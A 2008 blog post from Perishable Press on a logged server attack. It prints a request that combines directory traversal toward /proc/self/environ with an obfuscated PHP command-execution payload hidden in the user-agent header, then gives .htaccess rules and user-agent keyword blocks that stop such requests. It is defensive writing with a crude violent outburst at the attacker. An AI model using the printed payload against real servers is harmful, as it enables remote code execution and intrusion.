Evil Incarnate, but Easily Blocked

.htaccess made easy

As my readers know, I spend a lot of time digging through error logs, preventing attacks, and reporting results. Occasionally, some moron will pull a stunt that deserves exposure, public humiliation, and banishment. There is certainly no lack of this type of nonsense, as many of you are well-aware.

3G Blacklist

Even so, I have to admit that I am very happy with my latest strategy against crackers, spammers, and other scumbags, namely, the 3G Blacklist. Since implementing this effective HTAccess security method, I have seen a dramatic decrease in the overall volume of malicious activity recorded in my Apache, PHP, and 404 error logs. Thankfully, the 3G Blacklist has kept things pretty quiet around here, at least as far as malicious activity is concerned. In fact, it has been awhile since I’ve seen anything worthy of sharing with you — until now.

Evil Incarnate

The depths to which spammers and crackers sink never ceases to amaze me. From cryptic character strings and cloaked IP information to SQL injection and denial-of-service attacks, I’ve seen my share of sinister business hitting the server. Not much surprises me these days, but seeing a few log entries like this certainly caught my attention:

TIME: September 2nd 2008, 10:00am

404: *http://perishablepress.com/press/2007/10/01/htaccess-combo-pack-wordpress-permalinks-and-non-www-redirect/index.php?l=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

SITE: http://perishablepress.com/

SOURCE: Perishable/Perishable

REFERRER: 

QUERY STRING: l=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

REMOTE ADDRESS: 213.203.223.59

USER AGENT: <? $x0e=\\\"\\\\145x\\\\x65\\\\x63\\\"; $x0f=\\\"\\\\x66eo\\\\146\\\"; 
$x10=\\\"\\\\x66\\\\x72ea\\\\x64\\\"; 
$x11=\\\"\\\\146un\\\\x63\\\\164io\\\\x6e\\\\x5f\\\\x65x\\\\151s\\\\x74\\\\x73\\\"; 
$x12=\\\"i\\\\163\\\\x5f\\\\162\\\\x65s\\\\157ur\\\\x63\\\\x65\\\"; $x13=\\\"\\\\152\\\\157\\\\x69\\\\156\\\"; 
$x14=\\\"o\\\\142_g\\\\145t\\\\x5f\\\\x63o\\\\156\\\\164en\\\\x74\\\\x73\\\"; 
$x15=\\\"ob\\\\137\\\\x65\\\\156d\\\\137\\\\x63lea\\\\156\\\"; $x16=\\\"\\\\x6fb_st\\\\x61\\\\x72\\\\164\\\"; 
$x17=\\\"\\\\x70\\\\141\\\\163s\\\\164\\\\x68\\\\162\\\\165\\\"; $x18=\\\"\\\\x70\\\\143\\\\154ose\\\"; 
$x19=\\\"p\\\\157\\\\160e\\\\x6e\\\"; $x1a=\\\"\\\\163h\\\\145\\\\154l\\\\137\\\\x65\\\\170e\\\\143\\\"; 
$x1b=\\\"\\\\x73\\\\x79s\\\\x74e\\\\x6d\\\"; 
function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  
$x0c = \\\'\\\'; if (!empty($x0b)) {if($x11(\\\'exec\\\')) {@$x0e($x0b,$x0c);$x0c = $x13(\\\"\\\\n\\\",$x0c); 
}elseif($x11(\\\'shell_exec\\\')) {$x0c = @$x1a($x0b); }elseif($x11(\\\'system\\\')) {@$x16();@$x1b($x0b);$x0c = 
@$x14();@$x15(); }elseif($x11(\\\'passthru\\\')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = 
@$x19($x0b,\\\"\\\\x72\\\"))){ $x0c = \\\"\\\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } 
return $x0c;}echo x0b(\\\"ec\\\\150\\\\157\\\\x20c\\\\1624n\\\\153\\\\137\\\\x72oc\\\\153s\\\");?>

REMOTE IDENTITY:

DUDE!! — WTF is up with that!?!?! Did you check out the user-agent on that thing!? And what about that query string? How far up my ass the directory structure did you want to go? I mean, seriously.. that is some evil business right there. Somebody clearly put a lot of effort into that one, obviously intending to do some major damage to something deep within the server. What kind of depraved, evil bastard is writing this stuff? Even worse, what kind of scumbag loser is going around probing servers with this demented nonsense? I don’t know, and don’t even know if I want to know. Messing with other people’s property like that — you should be hung out and shot dead, twice in the face.

Child’s Play

Fortunately, stopping this ebil nonsense is easier than flushing a toilet. First, let’s block that nasty query-string by adding the following line to the Query String section of the 3G Blacklist 1:

 RewriteCond %{QUERY_STRING} \.\.\/ [NC,OR]

Next, let’s seal the deal by blocking any user agents containing scripted information. Do this by adding the following lines to the User Agent section of the 3G Blacklist:

SetEnvIfNoCase User-Agent "shell_exec"  keep_out
SetEnvIfNoCase User-Agent "passthru"    keep_out
SetEnvIfNoCase User-Agent "function"    keep_out

Or, if you would like to use this protective method by itself (i.e., independent of the 3G Blacklist), simply drop this code into your site’s web-accessible HTAccess file to enjoy complete protection against such attacks:

# block evil incarnate query strings
<ifmodule mod_rewrite.c>
 RewriteCond %{QUERY_STRING} \.\.\/    [NC,OR]
 RewriteRule .* -                      [F,L]
</ifmodule>
# block evil incarnate user agents
SetEnvIfNoCase User-Agent "shell_exec"  keep_out
SetEnvIfNoCase User-Agent "passthru"    keep_out
SetEnvIfNoCase User-Agent "function"    keep_out
<Limit GET POST>
 order allow,deny
 allow from all
 deny from env=keep_out
</Limit>

The first part of this code is basically telling Apache to kick to the curb any requests for URLs with query strings containing the “../” character string. There is no reason this string should ever appear in legitimate URLs.

Then, the second part of this code simply blocks any user agents containing the terms “shell_exec”, “passthru”, or “function”. Again, there is no reason for these strings to appear in legitimate user-agent strings.

There are actually many different ways to block this type of aggressive attack, but I think targeting the URL/query-string attack vector while blocking scripts in the user-agent string will prove the most effective. Think of it as breaking both legs and one arm of the attacker (i.e., the query string may be changed, but there is no way around the blocked scripts). Of course, I will be keeping a close eye on this type of attempted exploit, and will certainly post afresh with any further information, suggested updates, edits, additions, etc.

Footnote

  • 1 This protection will also be included in the upcoming 4G Blacklist.